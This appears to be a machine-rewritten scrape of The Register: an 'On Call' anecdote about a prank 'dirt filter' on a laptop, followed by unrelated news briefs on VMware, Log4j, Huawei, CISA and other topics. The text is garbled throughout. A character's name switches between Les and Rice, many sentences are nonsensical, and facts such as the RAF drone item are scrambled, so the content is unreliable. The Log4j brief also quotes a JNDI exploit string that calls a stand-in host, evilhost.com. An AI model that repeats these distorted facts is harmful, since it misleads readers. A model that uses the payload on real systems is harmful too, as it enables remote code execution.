On-call IT staff is not so much a gift, as it is recycling old hardware. A worthwhile effort until the inevitable call for help rang. Our response? It depends on how evil we felt at the time. Welcome to inquire.
Today's story comes from "Les" (not his name), who now spends time tinkering with electronic products and passing some functional equipment to those who need it. His story is about a laptop he rebuilt and gave to an acquaintance-let us call her "Cynthia" even though it is not her name either.
This laptop was bought for Cynthia's son. On the surface it was for university work—an essential tool even in the years before the current pandemic—but, usually, something went wrong. Just like that, Rice's phone rang, asking for help.
Cynthia: "The laptop is broken!"
Les sighed. "What did he do to it?"
Cynthia: "Nothing! He swears he didn't do anything! The power button flashes every few seconds, but that's it!"
Les knows the problem, and it is easy to solve. He asked Cynthia to remove the battery and AC adapter, press and hold the power button, and then reconnect the power source. The laptop is back to life, and the user is relieved.
But what caused this problem? Rice is in trouble. He can honestly say that these things happen sometimes, and all it requires is a hard reset. Or he may be evil.
Well, this is the season...
"What do you think happened?" Cynthia persisted. "Do you think it will happen again?"
Les took a breath. "Hmm... That's the reset mechanism of the dirt filter installed on the machine when I bought the machine for the kids. I almost forgot this because I hadn't reset it before."
There was silence on the line. "He has been watching too many pr0n and has blown the fuse?"
"How many times did the lights flash?"
Les gritted his teeth: "Oh, yes. That is absolutely dirty. There is a scale of one to five points, five points is the worst. "
After Cynthia digested the incident, there was another long pause. "Are you kidding me?"
"No, no. The dirt filter is real. It is a direct BIOS swap. Used with the Windows Trusted Platform Module."
"Yeah... let me check." Les pretended to shuffle the cards. "Yes-it says'extreme kinks and activities with more than five participants.'"
"Stop—you scared me," said worried Cynthia.
No one missed the opportunity to double, Rice continued: "I'm just glad it didn't reach level five."
Pause again. Then, "Should I tell the boy that he shouldn't be looking at...er...rude things on his laptop?"
"Of course," Rice said. And, he finally added happily: "If it reaches level 5, it will take a picture of him and send it to the police."
If you "know computers," then Christmas is a frightening time, because friends and family will inevitably ask you for support. How would you respond to the call? Are you on a good list or, like Les, very naughty. Tell us about On Call via email. ®
In short, VMware has warned users that a flaw in its VMware Verify two-factor authentication product could allow malicious actors with first-factor authentication credentials to obtain a second factor from its VMware Verify product.
CVE-2021-22057 is the rogue behind this issue, with a rating of 6.6/10. VMware Verify is part of the broader VMware Workspace ONE Access product. It is now available in version 21.08.0.1 to fix this error and 5.5-level server-side request forgery. It can allow malicious actors with network access to any source and Read the full response
The news of two new vulnerabilities in WorkspaceONE was released the day after VMware warned of serious flaws in the suite.
According to analyst firm International Data Corporation (IDC) last week, the PC monitor market has experienced a year-on-year decline for the first time since the start of the global pandemic.
In the third quarter of 2021, a year-on-year decline of 7.2% resulted in factory shipments of slightly higher than 34.8 million units. After five consecutive quarters of year-on-year growth, there has been a decline.
IDC stated: “Although demand in many countries, especially emerging economies in the Asia-Pacific region, continues to remain strong and has completed out-of-stock orders, the major markets in North America and Western Europe have contracted sharply. This is mainly due to consumer demand. Weak in degree."
The Indian competition watchdog revoked Amazon's approval to form an alliance with the local retail giant Future Group, saying that the US company had a lot of rumors in its documents about the transaction.
Future Group operates more than 1,500 retail stores in India, covering fast-moving consumer goods, electronic products, and even the iconic British newsstands and other companies WH Smith's Indian business.
In 2019, Amazon acquired 49% of Future Coupons, a payment provider that provides gift cards and other products. This deal is seen as a way for Amazon to gain a foothold in the Indian retail market, and it appears to have achieved results because Amazon has been designated as the exclusive e-retailer for certain brands in the Future Group.
Linus Torvalds has confirmed that due to Christmas, the development time of Linux kernel version 5.16 will be a bit longer than usual.
"Things are calming down, and rc6 is pretty small," he wrote in his weekly kernel status post. "This is normal at this time in the release schedule, but it is also normal at this time of the year."
Emperor Penguin believes that "the next two weeks will be quiet and smaller."
The Apache Software Foundation (ASF) revealed the third error in Log4j, its Java-based Log4 open source logging library.
CVE-2021-45105 is an infinite recursion error of 7.5/10 level, which exists in Log4j2 version 2.0-alpha1 to 2.16.0. The fix is version 2.17.0 of Log4j.
This is the third new version of the tool in the past ten days.
According to a report released by Bloomberg, US government officials’ suspicion of the integrity of Huawei’s products was partly attributed to the 2012 Huawei software update incident, which used malicious code to damage the network of a major Australian telecommunications company.
The report is based on interviews with 7 former officials, some of which have been identified and some have not been identified. The report stated that the system of Optus, a division of Singapore Telecommunications Co., Ltd., was compromised in 2012 due to malicious updates-the company raised this statement objection.
"The update appears to be legitimate, but it contains malicious code, and it works very similar to digital eavesdropping, reprogramming the infected device to record all communications passing through it, and then sending the data to China," [source] said ," the Bloomberg report explained.
FOSS Fest Tilde is a plain text editor for the Linux console. The difference is that even if you have never seen it before, you already know how to use it.
The U.S. Government’s Cybersecurity and Infrastructure Security Agency (CISA) issued an emergency order on Friday to require federal agencies to take corrective measures before 5 pm Eastern Standard Time on December 23, 2021, and escalated the call to fix the Apache Log4j vulnerability.
Log4j is a Java-based open source log library used in millions of applications. Versions including 2.14.1 contain a serious remote code execution flaw (CVE-2021-44228), and the fix in version 2.15 that was released a week ago has been bypassed.
The software library includes a text format language that allows code execution. The vulnerability allows remote attackers to make strings like ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} to obtain references The object is on the specified server and executes it.
The Netherlands Agency for Nuclear Safety and Regulatory Protection has banned a series of so-called anti-5G necklaces, wristbands and eye masks because they may harm users who are easily deceived.
A study commissioned by the agency by the National Institute of Public Health and Environment (RIVM) in the Netherlands found that many so-called radiation protection devices actually release harmful levels of ionizing radiation from "radioactive materials or waste." Although the emission levels are low, if you are the kind of person who wears these constantly, then they can cause harm.
"The consumer product being tested contains radioactive materials and therefore will continuously emit ionizing radiation, exposing the wearer. Exposure to ionizing radiation can have adverse health effects," the regulator warned.
The extradition of Autonomy founder Mike Lynch has been temporarily suspended after the British software millionaire filed a judicial review and questioned the results of the legal investigation against him.
The latest move seems to have prevented the passage of time for the U.S. government to extradite Lynch from the UK, buying Lynch a period of weeks or months of freedom.
After Lynch sold his company Autonomy to HP for $11 billion in 2011, he was accused by the United States of defrauding HP's investors.
Nearly 40 years after shooting down a drone over Syria, the Royal Air Force has achieved the first air-to-air "kill"-an aircraft shot down an enemy aircraft.
The Ministry of Defence did not disclose the type of drones. The Ministry of Defence issued a press statement yesterday, boasting the victory of the Royal Air Force Typhoon FGR.4.
"The engagement took place on December 14, when drone activity was spotted above the Al Tanf coalition base in Syria," the Ministry of Defense said. "The Royal Air Force Typhoon conducts routine patrols in the area and its mission is to conduct investigations."
The Register-Independent news and opinions from the technical community. Partially released
Hand biting IT © 1998–2021